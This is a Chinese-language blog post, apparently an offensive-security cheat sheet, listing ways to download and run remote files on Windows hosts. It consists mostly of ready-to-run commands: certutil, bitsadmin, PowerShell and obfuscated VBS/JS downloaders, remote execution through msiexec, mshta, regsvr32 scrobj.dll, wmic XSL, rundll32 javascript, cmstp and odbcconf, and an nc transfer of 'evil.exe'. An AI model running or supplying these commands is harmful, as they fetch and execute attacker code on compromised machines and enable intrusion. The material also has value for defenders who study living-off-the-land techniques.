1 | 好好学习,天天向上 |
我认为按照我们平时对于远程加载文件的需求,可以按照能否加载任意格式的文件来进行区分,有些下载方式,可以去远程下载任意格式的文件,比如exe,txt等等,但是有些则是有限制的,只能下载指定格式的文件,比如js,xls,msi等等。还有些方式也可以下载或者加载远程的文件,但是不是windows自带的方式,所以也可以把这种方式当作一种类型进行总结。最后还有一些方式不能通过http协议进行下载,但是可以通过smb协议进行下载文件,这也可以列为一种方式。
下载任意格式文件
powershell
方法一:
1 | powershell (new-object System.Net.WebClient).DownloadFile('http://xxx:6666/1.txt','C:\Windows\Temp\2.txt') |
方法二:
首先准备一个ps脚本,内容如下
1 | $Urls = @() |
使用下面命令执行下载文件
1 | powershell -exec bypass -File down.ps1 |
certutil
用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
1 | certutil -urlcache -split -f http://xxx:6666/1.txt c:\windows\temp\test.txt |
1 | certutil -urlcache -split -f http://ccc:6666/1.txt delete 删除缓存 |
bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
1 | bitsadmin /transfer n http://xxxx:6666/1.txt C:\Windows\Temp\3.txt |
vbs
方法一:
可以使用vbs脚本来执行文件下载操作,vbs内容如下
1 | set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 |
再使用cscript加载该文件执行下载写入的功能
1 | cscript /nologo downfile.vbs http://xxx:801/1.txt c:\windows\temp\1.txt |
甚至也可以使用cmd先写入vbs文件,最后再调用vbs执行下载功能
1 | echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs |
方法二:
还可以使用其他的下载vbs脚本文件执行下载功能,文件内容如下:
1 | strFileURL = "http://119.xxx.xxx.xxx/1.txt" |
js
方法一:
首先准备一个js文件,文件内容如下:
1 | var objArgs = WScript.Arguments;var sGet=new ActiveXObject("ADODB.Stream");var xGet = false; |
通过cscript调用该文件执行下载操作
1 | cscript /nologo down.js http://xxx:801/1.txt c:\windows\temp\test123123.txt |
方法二:
准备一个js文件,文件内容如下
1 | var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
执行如下命令进行下载文件操作
1 | cscript /nologo down2.js http://xxx:801/1.txt |
注意
方法二这种文件下载方式有一些缺点,首先不能指定绝对路径,否则会写入失败,另外,文件名也不能和系统在该目录下已有的文件名冲突,否则也会写入失败。
certreq
在 Windows Server 2008 R2 上提供了 Microsoft certreq 实用程序,可使用该实用程序生成 CSR 和导入签名证书。下载命令如下
1 | CertReq -Post -config http://xxx:801/1.txt c:\windows\win.ini c:\windows\temp\output.txt |
这个程序虽然可以下载任意形式的文件,但是又有两个限制,第一个限制就是在serever 2008 r2以上的系统。第二个就是长度限制,不能下载超过60k的文件。这种文件下载的方式如果文件存在也会报错,因此使用这种方式下载文件,文件名不能和已有的文件名相同。
python
1 | python -c "from urllib import urlretrieve; urlretrieve('http://xxx:801/1.txt', 'C:\\Windows\\Temp\\test8866.txt')" |
Defender
1 | "C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.18.2008.9-0\\MpCmdRun.exe" -DownloadFile -URL http://xxxx:8888/dnsClient.zip -path C:\\Users\\admin\\Desktop\\test666.zip |
下载指定格式文件
msiexec
使用msiexec可以下载并执行msi文件
1 | msiexec /q /i http://xxxx:8011/test666.msi |
mshta
mshta可以远程加载hta文件并执行
1 | mshta http://xxx.xxx.xxx.xxx:801/download/file.ext |
regsvr32
使用regsvr32可以远程加载并执行sct文件
1 | regsvr32 /u /s /i:http://xxx:8011/test8866.sct scrobj.dll |
CMSTP
使用cmstp加载本地的inf文件,inf中再去加载远程的sct文件。
inf中的内容如下:
1 | [version] |
再使用如下命令加载inf文件
1 | cmstp.exe /s xxx.inf |
使用这种方式加载并执行远程的文件有个缺陷,就是会在执行的目录下生成一个快捷方式文件还有一个cmp文件。
wmic
使用wmic可以加载并执行远程的xsl文件
1 | wmic process get brief /format:"http://xxx:8080/launcher.xsl" |
WCS
首先创建一个js文件,文件内容如下
1 | GetObject("script:http://xxxx:8011/test.wsc"); |
使用cscript执行js文件,加载并执行远程的wsc文件
1 | csript 1.js |
wsc文件中的内容如下
1 | <?xml version="1.0"?> |
rundll32
rundll32本身并不能达到加载并且运行远程文件的目的,不过可以配合其他方式来下载远程文件并执行
比如可以加载hta文件
1 | rundll32 javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/mshta.exe http://xxx.xxx.xxx.xxx:8011/test.hta",0,true);self.close(); |
非自带程序
msxsl
msxsl.exe可以去加载远程的xsl文件
1 | msxsl.exe http://xxx.xxx.xxx.xxx:8011/test.xsl http://xx.xxx.xx.xx:8011/test.xsl |
xsl文件内容如下
1 | <?xml version='1.0'?> |
nc
首先在自己的服务端执行如下命令
1 | nc -lvp 4444 < evil.exe |
在客户端执行下面的命令进行文件下载
1 | nc xxxxx 4444 >evil.exe |
curl
有些主机上安装了curl,因此也可以使用curl进行文件下载操作
1 | curl http://xxx:1234/evil.exe -o test123123.exe |
chfs
这款工具可以在主机上开启一个web服务,我们可以通过这个web服务对主机上的文件进行增删改查,这个方式比较适合在内网去使用。
上传到目标主机,在某个目录下执行这个文件,即可将当前目录共享出去
在web下访问,即可对目录下的文件进行操作。
SMB协议下载
IPC
1 | copy C:\Users\jerry\Desktop\test666.inf \\192.168.3.144\c$\windows\temp\ |
CMD
使用这种方式可以在本地加载远程的文件执行
1 | cmd.exe /k \\192.168.3.144\c$\windows\temp\calc.exe |
cscript
使用这种方式可以加载远程的js并且执行
1 | cscript \\192.168.3.144\c$\windows\temp\test.js |
Odbcconf
使用这种方式可以加载远程的dll进行执行
1 | odbcconf.exe /a {regsvr \\192.168.3.144\c$\windows\temp\test.dll} |
需要注意编译的dll的版本要和windows的版本相对应。
总结
关于windows下文件下载的方式先总结这么多,这些文件下载方式的种类虽然非常多,还是要选择适合自己当前环境的方式来选择对应的方法利用。
参考文章